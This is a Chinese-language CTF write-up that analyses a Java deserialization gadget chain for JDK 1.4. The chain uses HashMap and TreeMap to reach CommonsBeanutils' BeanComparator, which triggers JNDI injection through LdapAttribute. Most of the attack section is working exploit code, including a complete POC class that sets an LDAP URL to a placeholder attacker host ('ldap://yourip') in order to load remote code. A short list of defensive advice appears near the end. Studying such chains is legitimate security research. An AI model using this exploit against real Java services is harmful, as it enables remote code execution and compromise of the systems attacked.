realworldctf old system复盘(jdk1.4 getter jndi gadget)
字数 1467 2025-08-18 11:36:00
JDK 1.4环境下利用CommonsBeanutils和JNDI注入的反序列化漏洞分析
0x00 漏洞背景与题目分析
本漏洞分析基于RealWorld CTF中的一道题目,主要考察在JDK 1.4环境下Gadget链的挖掘和利用。题目提供了一个包含CommonsBeanutils库的环境,但运行在JDK 1.4上,这带来了特殊的挑战。
环境限制
- JDK版本:1.4
- 缺少的关键类:
PriorityQueue(反序列化入口点)TemplatesImpl(RCE执行点)
传统Gadget链失效
在标准环境下,CommonsBeanutils的利用链通常为:
PriorityQueue.readObject() -> BeanComparator.compare() -> TemplatesImpl.getOutputProperties() -> RCE
但在JDK 1.4环境下,这条链的两个关键节点都不可用。
0x01 新的Gadget链构建思路
剩余可用部分
BeanComparator.compare() -> 执行getter
新链构建目标
- 寻找新的反序列化入口点(替代PriorityQueue)
- 寻找新的RCE执行点(替代TemplatesImpl)
0x02 新的反序列化入口链
完整调用链
HashMap.readObject() -> HashMap.putForCreate() -> AbstractMap.equals() -> TreeMap.get() -> TreeMap.getEntry() -> BeanComparator.compare()
关键代码分析
private void putForCreate(K var1, V var2) {
int var3 = var1 == null ? 0 : hash(var1.hashCode());
int var4 = indexFor(var3, this.table.length);
for (HashMap.Entry var5 = this.table[var4]; var5 != null; var5 = var5.next) {
Object var6;
if (var5.hash == var3 && ((var6 = var5.key) == var1 || var1 != null && var1.equals(var6))) {
var5.value = var2;
return;
}
}
// ...
}
触发原理
- HashMap反序列化时会调用
putForCreate方法 - 该方法会检查key是否已存在,通过调用key的
equals()方法 - 使用
TreeMap作为key,其equals()方法会调用get()方法 TreeMap.get()最终会调用BeanComparator.compare()
0x03 新的RCE执行点 - JNDI注入
关键发现
com.sun.jndi.ldap.LdapAttribute类的getAttributeDefinition()方法存在LDAP-JNDI注入漏洞
漏洞代码
public DirContext getAttributeDefinition() throws NamingException {
DirContext var1 = this.getBaseCtx().getSchema(this.rdn);
return (DirContext)var1.lookup("AttributeDefinition/" + this.getID());
}
调用栈分析
c_lookup:982, LdapCtx (com.sun.jndi.ldap)
c_resolveIntermediate_nns:152, ComponentContext (com.sun.jndi.toolkit.ctx)
c_resolveIntermediate_nns:342, AtomicContext (com.sun.jndi.toolkit.ctx)
p_resolveIntermediate:381, ComponentContext (com.sun.jndi.toolkit.ctx)
p_getSchema:408, ComponentDirContext (com.sun.jndi.toolkit.ctx)
getSchema:388, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)
getSchema:189, InitialDirContext (javax.naming.directory)
getAttributeDefinition:191, LdapAttribute (com.sun.jndi.ldap)
LDAP-JNDI注入根因
除了常见的InitialContext.lookup(),以下方法也可触发JNDI注入:
LdapCtx.c_lookup()ComponentContext.p_lookup()PartialCompositeContext.lookup()GenericURLContext.lookup()ldapURLContext.lookup()
0x04 EXP构造详解
完整利用链
反序列化 -> HashMap.putForCreate() -> TreeMap.equals() -> TreeMap.get() -> BeanComparator.compare() -> LdapAttribute.getAttributeDefinition() -> JNDI注入
关键构造步骤
- 创建LdapAttribute对象:
BasicAttribute la = getGadgetObj();
- 设置比较器:
BeanComparator bc = new BeanComparator("attributeDefinition");
- 构造触发对象:
HashMap hm = new HashMap();
TreeMap tm1 = new TreeMap(bc);
TreeMap tm2 = new TreeMap(bc);
tm1.put("aaa", "AAA");
tm2.put(la, "BBB");
hm.put(tm1, "111");
hm.put(tm2, "222");
- 修复HashMap结构(确保触发equals比较):
// 通过反射修改HashMap内部结构,确保两个TreeMap会被比较
Field fi = hm.getClass().getDeclaredField("table");
fi.setAccessible(true);
Map.Entry[] hmentry = (Map.Entry[]) fi.get(hm);
// ... 其他反射操作 ...
LdapAttribute对象构造方法
public static BasicAttribute getGadgetObj(){
try {
Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class});
clazz_cons.setAccessible(true);
BasicAttribute la = (BasicAttribute)clazz_cons.newInstance(new Object[]{"exp"});
Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
bcu_fi.setAccessible(true);
bcu_fi.set(la, "ldap://yourip");
CompositeName cn = new CompositeName();
cn.add("a");
cn.add("b");
Field rdn_fi = clazz.getDeclaredField("rdn");
rdn_fi.setAccessible(true);
rdn_fi.set(la, cn);
return la;
} catch (Exception e){
e.printStackTrace();
}
return null;
}
0x05 技术要点总结
-
JDK 1.4环境限制:
- 缺少常用Gadget类,需要寻找替代方案
- 反序列化入口点需要重新设计
-
关键发现:
LdapAttribute.getAttributeDefinition()可作为新的RCE触发点- JNDI注入不仅限于
InitialContext.lookup()
-
构造技巧:
- 利用HashMap反序列化特性触发比较操作
- 通过TreeMap的equals/get方法桥接到BeanComparator
- 反射修改内部结构确保触发路径
-
防御建议:
- 升级JDK版本
- 限制反序列化操作
- 过滤危险的JNDI操作
0x06 完整EXP代码
import org.apache.commons.beanutils.BeanComparator;
import javax.naming.CompositeName;
import javax.naming.directory.BasicAttribute;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.Map;
import java.util.TreeMap;
public class POC1 {
public static void main(String[] args) {
try {
BasicAttribute la = getGadgetObj();
BeanComparator bc = new BeanComparator("attributeDefinition");
HashMap hm = new HashMap();
TreeMap tm1 = new TreeMap(bc);
TreeMap tm2 = new TreeMap(bc);
tm1.put("aaa", "AAA");
tm2.put(la, "BBB");
hm.put(tm1, "111");
hm.put(tm2, "222");
// 反射修改HashMap内部结构确保触发
Field fi = hm.getClass().getDeclaredField("table");
fi.setAccessible(true);
Map.Entry[] hmentry = (Map.Entry[]) fi.get(hm);
int tablelength = hmentry.length;
tm1.hashCode();
Method hash_mt = hm.getClass().getDeclaredMethod("hash", new Class[]{Object.class});
hash_mt.setAccessible(true);
Object indexfor_arg1 = hash_mt.invoke(hm, new Object[]{(Object)(new Integer(tm1.hashCode()))});
Method indexfor_mt = hm.getClass().getDeclaredMethod("indexFor", new Class[]{int.class, int.class});
indexfor_mt.setAccessible(true);
int final_index = Integer.parseInt(indexfor_mt.invoke(hm, new Object[]{new Integer(indexfor_arg1.toString()), new Integer(tablelength)}).toString());
Map.Entry me = ((Map.Entry[])hmentry)[final_index];
Class entryclazz = Class.forName("java.util.HashMap$Entry");
Field key_fi = entryclazz.getDeclaredField("key");
key_fi.setAccessible(true);
Field modifierField = Field.class.getDeclaredField("modifiers");
modifierField.setAccessible(true);
modifierField.setInt(key_fi, key_fi.getModifiers() & ~Modifier.FINAL);
key_fi.set(me, tm2.clone());
// 序列化触发
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hm);
// 反序列化触发漏洞
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
HashMap hmhm = (HashMap) ois.readObject();
} catch (Exception e){
e.printStackTrace();
}
}
public static BasicAttribute getGadgetObj(){
try {
Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class});
clazz_cons.setAccessible(true);
BasicAttribute la = (BasicAttribute)clazz_cons.newInstance(new Object[]{"exp"});
Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
bcu_fi.setAccessible(true);
bcu_fi.set(la, "ldap://yourip");
CompositeName cn = new CompositeName();
cn.add("a");
cn.add("b");
Field rdn_fi = clazz.getDeclaredField("rdn");
rdn_fi.setAccessible(true);
rdn_fi.set(la, cn);
return la;
} catch (Exception e){
e.printStackTrace();
}
return null;
}
}
0x07 总结
本漏洞展示了在受限环境(JDK 1.4)下如何通过深入分析JDK内部类和反序列化机制,构建出新的利用链。关键在于:
- 理解反序列化触发流程
- 寻找替代的JNDI注入点
- 巧妙利用集合类的内部比较机制
- 通过反射精确控制对象内部状态
这种漏洞利用方式具有很高的技术价值,同时也提醒开发者在安全开发中需要考虑各种环境下的潜在风险。